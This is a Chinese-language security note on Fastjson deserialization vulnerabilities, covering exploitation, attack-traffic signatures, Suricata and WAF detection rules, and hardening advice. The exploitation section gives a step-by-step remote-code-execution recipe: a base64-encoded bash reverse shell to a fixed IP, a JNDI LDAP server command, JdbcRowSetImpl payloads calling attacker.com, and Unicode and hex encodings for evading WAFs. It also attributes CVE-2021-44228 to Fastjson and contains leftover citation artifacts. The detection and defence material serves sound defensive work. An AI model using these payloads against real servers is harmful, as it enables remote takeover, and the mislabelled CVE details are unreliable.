fastjson特征流量分析
1.1 Fastjson简介
Fastjson是阿里巴巴公司开源的一款JSON解析器,它可以解析 JSON 格式的字符串,是一个 Java 库。
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。
1.1.1Fastjson漏洞原理
1.fastjson 在解析 json 的过程中,支持使用 autoType(自动识别类型) 这个功能来读取 @type 的内容,并根据 @type 的内容来实例化某一个具体的类。
2.这个过程中允许 JSON 数据直接控制 Java 的类加载器行为,从而创建任何类型的对象。
3.根据这个反序列化的过程,我们就可以通过构造恶意利用链的方式达到任意命令执行的目的。
1.1.3漏洞利用
1.漏洞探测:可以利用DNSLog Platform生成域名,并构造一个尝试进行域名解析的json语句,发送过去看有没有被执行。
尝试进行域名解析的json语句:{ "name":{ "@type":"java.net.InetAddress", "val":"任意主机名.域名" } }
2.进行JNDI注入:利用JNDI的LDAP或RMI服务,让目标服务器自动从我们的公网服务器上拉取恶意的 java class 类文件,达到命令执行的目的。
(1)对反弹shell进行base64编码
(2)通过JNDI注入工具开启LDAP或RMI服务,并根据利用链制造出恶意的json语句。
命令格式:java -cp jndi_tool.jar jndi.HLDAPServer 公网服务器IP 端口 "base64编码后的命令"
命令示例:java -cp jndi_tool.jar jndi.HLDAPServer 10.100.100.100 9999 "bash -c {echo,YmFzaCAtaSA+JiA
vZGV2L3RjcC84LjIxOS4xNjEuODgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"
构造出的JSON示例:{"e":{"@type":"java.lang.Class","val":"
com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"
com.sun.rowset.JdbcRowSetImpl","dataSourceName":"
ldap://10.100.100.100:9999/Object","autoCommit":true}}
(3)在公网服务器上打开nc监听对应端口用于接收反弹shell。
(4)将制造出的 json 语句用 BP 修改 content-type 参数为:application/json 并在数据体中添加 json 语句,传到对面服务器。(可以尝试对json语句进行Unicode编码,可能可以绕过一些防火墙的监测)
1.2 Fastjson高危可利用漏洞
1.2.1远程代码执行(RCE)漏洞
CVE-2017-18349(1.2.24及之前):未启用AutoType黑名单,可直接加载恶意类。
CVE-2020-3541(1.2.68及之前):黑名单绕过(如
Lcom.sun.rowset.JdbcRowSetImpl;语法变形)。
1.2.2反序列化绕过漏洞
二次反序列化攻击:通过异常类(如Throwable子类)触发嵌套解析(1.2.62版本)。
非公开内部类利用:如
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory(1.2.80版本)。
1.3 常见Fastjson漏洞攻击方法
1.3.1JNDI注入攻击
构造恶意JSON,利用@type指定JdbcRowSetImpl类,通过dataSourceName属性触发LDAP/RMI远程加载恶意类:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
:cite[7]:cite[9]
1.3.2DNSLog验证与出网检测
使用无害类(如java.net.Inet4Address)测试DNS请求,确认漏洞存在:
{"@type":"java.net.Inet4Address","val":"dnslog.ceye.io"}
:cite[5]:cite[9]
1.3.3黑名单绕过手法
类描述符变形:LClassName;格式绕过字符串匹配(1.2.47)。
接口伪装:利用AutoCloseable等白名单接口嵌套恶意类(1.2.80)。
1.3.4 Fastjson流量特征
1、Payload中的特定关键词: Fastjson反序列化漏洞通常会利用恶意构造的JSON Payload,其中可能包含一些特定的关键词或字符串,例如""@type"",@type字段指定要加载的类,常见的带有ladp、rmi协议地址.
2、HTTP请求方法: 恶意请求通常使用POST方法,因为Fastjson反序列化漏洞通常利用HTTP POST请求发送恶意JSON数据
3、HTTP请求头部: 检查HTTP请求头部,特别是Content-Type字段,通常Fastjson漏洞攻击会将Content-Type设置为"application/json"。
Content-Type
- 正常场景:application/json(常见,非唯一特征)
- 异常攻击特征:可能伪装为text/plain或multipart/form-data以绕过WAF检测。
请求体结构
@type字段:Fastjson特有的自动类型识别标识,用于指定反序列化的目标类。
{
"@type": "com.example.User",
"name": "test",
"age": 20
}
- 攻击Payload标志:
- 包含高危类名(如com.sun.rowset.JdbcRowSetImpl、java.lang.Class)。
- 嵌套多层$ref引用或恶意构造的JSON结构。
2.编码特征
Unicode转义:Fastjson默认支持Unicode解析,攻击者可能使用\x或\u编码绕过过滤:
- j{"@type":"\x63om.sun.rowset.JdbcRowSetImpl"}
- Hex编码:{"@type":"0x636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c"}
3.JNDI注入特征
漏洞利用时常见ldap://、rmi://、dns://等协议:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
4..响应特征
(1)错误信息泄露
Fastjson在反序列化失败时可能返回详细的类加载错误:
- java.lang.ClassNotFoundException: com.attacker.ExploitClass
- 响应中可能包含fastjson版本标识(如fastjson 1.2.68)。
(2)DNS/HTTP外联请求
成功触发JNDI注入时,目标服务器会向攻击者控制的地址发起请求,可通过流量日志检测:
- OUTBOUND DNS Query: attacker.com → 可能关联漏洞利用
1.3.5攻击案例
1.JNDI注入攻击(CVE-2021-44228)
POST /api/data HTTP/1.1
Content-Type: application/json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
2.绕过WAF的Unicode混淆
{
"@type": "\u0063om.\u0073un.\u0072owset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"dataSourceName": "rmi://malicious.site/ref"
}
1.5 Fastjson流量特征检测
1.5.1自动化扫描工具
Xray:配置反连平台,通过xray webscan命令检测漏洞并生成报告5。
BurpSuite插件:如DNSLog检测插件,识别出网行为。
1.5.2手动验证技术
Payload构造:发送含@type的测试JSON,观察DNSLog响应或异常行为。
日志分析:监控反序列化错误日志或异常类加载事件。
1.5.3流量监控规则
1. 静态特征匹配
规则示例(Suricata/YARA):
alert http any any -> any any (msg:"Fastjson RCE Attempt";
content:"@type"; http_client_body;
content:"JdbcRowSetImpl"; distance:0;
content:"dataSourceName"; distance:0;
content:"ldap://"; nocase; metadata:tag cve, cve CVE-2021-44228;)
2. 动态行为分析
- 异常类加载检测:
监控Java应用的日志中是否加载非常见类(如javax.el.ELProcessor、org.apache.tomcat.dbcp.dbcp2.BasicDataSource)。 - 网络层异常:
检测内网服务器突然向外发起LDAP/RMI连接。
3. 编码混淆识别
- 解码后校验:对\uXXXX、\xXX、Base64等编码后的内容进行递归解码后匹配关键字。
WAF规则:拦截包含@type、JdbcRowSetImpl等关键词的请求。
1.5.4 Fastjson工具
1.BurpFastJsonScan
https://github.com/pmiaowu/BurpFastJsonScan
2.java-chains
https://github.com/vulhub/java-chains
1.6 安全防御建议
1.流量层防御
WAF规则:拦截包含@type、JdbcRowSetImpl、ldap://等关键字的请求。
输入过滤:禁止JSON中包含非业务需要的类名或协议。
2.应用层加固
(1)升级Fastjson至安全版本(≥1.2.83),开启safeMode彻底禁用自动类型解析:
ParserConfig.getGlobalInstance().setSafeMode(true);
(2)关闭AutoType:通过启动参数
-Dfastjson.parser.safeMode=true或代码配置。
(3)白名单控制:仅允许反序列化可信类(如ParserConfig.addAccept("com.trusted.*"))。
敏感字段过滤:移除或转义请求中的@type字段。
3.监控与日志
(1)记录所有反序列化操作的类名和来源IP。
(2)部署NTA(网络流量分析)系统,捕获异常外联请求。
- 参考链接:
- Fastjson官方安全公告:https://github.com/alibaba/fastjson/wiki/security_update
- https://xz.aliyun.com/news/15984